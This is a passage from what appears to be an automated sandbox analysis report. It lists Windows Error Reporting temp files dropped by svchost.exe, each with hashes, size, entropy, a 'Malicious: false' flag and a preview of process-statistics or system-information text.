SHA1:	E2F023297F1A1224A1A5BE1F2A9C5B513E19078E
SHA-256:	2711D15ADD3F0F23F27974DF8E91F9D887482389F4ACFD7133273E032D162AC5
SHA-512:	E0FC1575F1676A1B9265FADE53028AD4123CA684B2C2587F5260465DD2F67CC62B42BE9674468F974EAD03571BC331CD062E6511EB328BE8C54CCF745B25EC6A
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13DF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6928344644517055
Encrypted:	false
SSDEEP:	96:TiZYW3osUFYlYF0WSHAUYEZxEtHitIplSGwsw/zEeaUEwMFO1ISSn:2ZDoSLG+vaUEwMFOKSSn
MD5:	F02A2388D65F28B2BFC3B36657B701B8
SHA1:	C20A7FD81E273AD82896E72F3A36232BCAC6855A
SHA-256:	8DC665ACF05111F416C50FEE29A84E9329F12CD791BBF38DE402743D32969E3E
SHA-512:	66F4DFBAE516399B1A4D1ADE041E241331D0B9345F13EB911136567A6633E01FAD6054849E96757E7FB0B3ACF1F422232FE7AAB30A50EA8A7C6AF88A24A63FC5
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER141A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88916
Entropy (8bit):	3.0836002713281467
Encrypted:	false
SSDEEP:	1536:768+2Tg0u7GZVXNvVsw4ouOn7/rp3LP7Co4INWHs9fCiv0:768+2Tg0u7GZVXNvVsw4ouOn7/d3LP7U
MD5:	1162E1E7E5EB852A4CDF88933ED811D5
SHA1:	33DB137B91399877C7F0B5929E2114E8651AB474
SHA-256:	379165D49455991E7A060EF3D6C9CFABE857A0B06BD7355A769F9599EF6C07D8
SHA-512:	A1060151B2BEE3D6F1E926FD7A73FB4C971D373AFDF6A8A64776DB2914A543D3692F4C8C86FC649DCF71480CFE21AC970D344154FC58923B9E535A6D8989B6D2
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1489.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6995140798840436
Encrypted:	false
SSDEEP:	96:TiZYWPfx2o8TY1YqbuCH6UYEZRQtKiVIPaiwWlJfwtalEVsMmOHIRSu:2ZDqiLzTCalEOMmOoRSu
MD5:	9062B4A66CBDD6F24C3002BD4F55A6BC
SHA1:	8335DC1AF85A89A3374A63DE820C6512300E4E4D
SHA-256:	B6D75043641AC0D9E55304EC7E03FFD7704DCA35BD0906E35D52353CC12076A3
SHA-512:	144D934D2A7CAEB9BED06A0A56C3A63718EE13107EA0C3E4815B24C1BB62B2D6970D649F78E384341D7EF5CD01E6303EEAB94C573C31382D14C9978BFF4AE7A0
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1BDD.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87944
Entropy (8bit):	3.0849353234575303
Encrypted:	false
SSDEEP:	1536:UvW8+2zhLK1ZGXV6NRNrAt8nOXhAzrp3LP7Co4I44yh7aej:UvW8+2zhLK1ZGXV6NRNrAt8nOXhAzd3A
MD5:	665C6DDC3EB0DF64CC2A8E37A6FFC722
SHA1:	985951948D1D107515B9E3C23C617E627786782B
SHA-256:	62F23FB44904B528588D42C2B87D9E500ED948E6F4698505F1586788B4CA76E0
SHA-512:	CEE85A7BA91BFFA30DA578C9816CC529B070B23B96D818C4134E209C31634C14E9D0F3FB50312D1C7BCFC87477205C4BAD2C2B579D03A6042C5AA41116BDA463
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1C0C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.7000103912109474
Encrypted:	false
SSDEEP:	96:TiZYW2S3wCLYQZYvo7OFYEHFUYEZprCtKi6IBaOwT2CamEV+MsO7IRUqSe:2ZDTzDpPlamEcMsO0PSe
MD5:	B4CE728F9D716353C21988C3A09166FC
SHA1:	37679F60EEE1D59B1AFFD406CE5FAD602B0CAC35
SHA-256:	B85D3856812657197062995E95C2532BB759E4451A156EF0122F2D72DCFEF21E
SHA-512:	31CD0CC30B9F0D3D0B613BDF6C8D34F3E97A5426E1257B61E2DB6B384BC02A3554560585041E0BD2240887FAEEDD6BAB4E9F404F1414B9F38B674FCA4FEE6589
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2390.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100228
Entropy (8bit):	3.0811000900691665
Encrypted:	false
SSDEEP:	3072:Eyz+NuhJ/OSDu1OIbZm+YDZ9J70W8GJ2ID5NrlQPqh9:V
MD5:	6E7B88DC9E56BA0558422CBCB1FCF439
SHA1:	FE5EC629FDC359EE335B1855692C35E01F76F70C
SHA-256:	35FA7E2DB0685F202209759A8FFE4B71BD561FC64E817C6B4301E8736928176E
SHA-512:	3DC60C87249E566FBDD8C9E60D00434B3F97E92F1BC75350F6AE9814BCAAF59CC27FD626D5329BDBF8E8DD9408415F7979A568703842F99CE2653B79D347C10B
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER299C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694946581053346
Encrypted:	false
SSDEEP:	96:TiZYWOa6wcdXYwYKW35HDUYEZQEntHi5IeaSISwySYg2a6EzMyOkIVSM:2ZDwdX3yEnvYja6EzMyOTVSM
MD5:	E68D7979849EA918F0F0AC189B907C08
SHA1:	5793D4A0C376A77AFA46D47DE269BC6A8EDE19AC
SHA-256:	5912C9209B29A1534F7B1F66DD76F25520903AFFE5590F5C190DA9A14DCE07BC
SHA-512:	C80F794C618FC734BD6BF43C67FA82ECDBCBB6B8B90987BB24ED29500D2254F5CA337ADF111C313ED918360042B54E91E94DAE83859A5CD47FC138C5CA0EBD45
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER318C.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	104912
Entropy (8bit):	3.074175038803995
Encrypted:	false
SSDEEP:	3072:AqO07ZIQYBtvlPTf3vmzKDZ9JB+2tKIk992iGmnTwgj7+zI:j
MD5:	C387785C95AF544F2965F6AFD2E3A22A
SHA1:	A0DAA4991E4CEAED77638F265D4450F0D8B50555
SHA-256:	D0172BDB288F4F83DF2ADE494FEEAC250B9F82DC8D4A9AA97523EA590FC94B82
SHA-512:	A0736D600169A5AE48102118F3164886100FCB78977F5621FD690AC65781C9866A4C88CDF9852A80CD2621FF4D8EF26379DFDE1C3AF981AA972DAE736E531CA1
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER36EC.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6954301999363186
Encrypted:	false
SSDEEP:	96:TiZYW2H0hJeXYgYWWQhJHoUYEZDOotHiMCIGaZwRpP0abEsM4O+IQSx:2ZDq3Jrn4p8abEsM4OJQSx
MD5:	7F6E9FF442D4EEFEB8DFA7C217D1A145
SHA1:	7286F9CDE716969A4EB736152E2B116C4414F345
SHA-256:	9BCD8DA420E922EFE22065ACA8D537E6054B425C0DC77111FFB79D3DEEF61F6E
SHA-512:	11A0D2EC3D59B44EE8F196157E30C4F2268AE8E705DCDB8CC1EF304F5E2F2A8F231AB41635C2F56D2C47995BB7202AA06BEFBFC6C7886099B58085DBD9031023
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER36ED.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	106958
Entropy (8bit):	3.0701669870691544
Encrypted:	false
SSDEEP:	3072:UwmZxZ5gkgK1L3Msc0a5em/VdDZ9Jju79Dm9eXnyemjiLzOEn:q
MD5:	F1DE2FB96513FF8C0287216BB6661354
SHA1:	D6EDEEEBDD716D2538027312D9102B474F6C1887
SHA-256:	7CA8BFA6D87BAD4A1BCE7DA5430C50735F358E9F27C3C1D2EB5CB53DB8373C5C
SHA-512:	9A6325EEADB9CD2008826FA4ECA0DC2D20862275B2EBEB502C31AECBEF870846B24252BC50C3F81BDE679D0DD64BC6877615E92DFA860813FFD90AC4BC235FA8
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER441D.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695007541002935
Encrypted:	false
SSDEEP:	96:TiZYW8MW2TYqsY2WdTHRUYEZ4ytHiwBIZaFwXR3Y5TawEvMCO5mIOSO:2ZDtVs6bDRodawEvMCOfOSO
MD5:	EEADBACCDAB54906FBCADC46DE12300D
SHA1:	9A3168161C685813C03B7A40950E925C8A35B83D
SHA-256:	79C4FA4800127C03B159397752A7A01798E964A2B8284B9379ECEC5050DDD90E
SHA-512:	7CBD1E847D8B0983F1735C2C1B9EC41814E625BB33AEC86454B9D7B87418D7BB23464709BB212CB6B3AC03879783FA4197C7F922252A7B5879641135098243BC
Malicious:	false
Reputation:	unknown
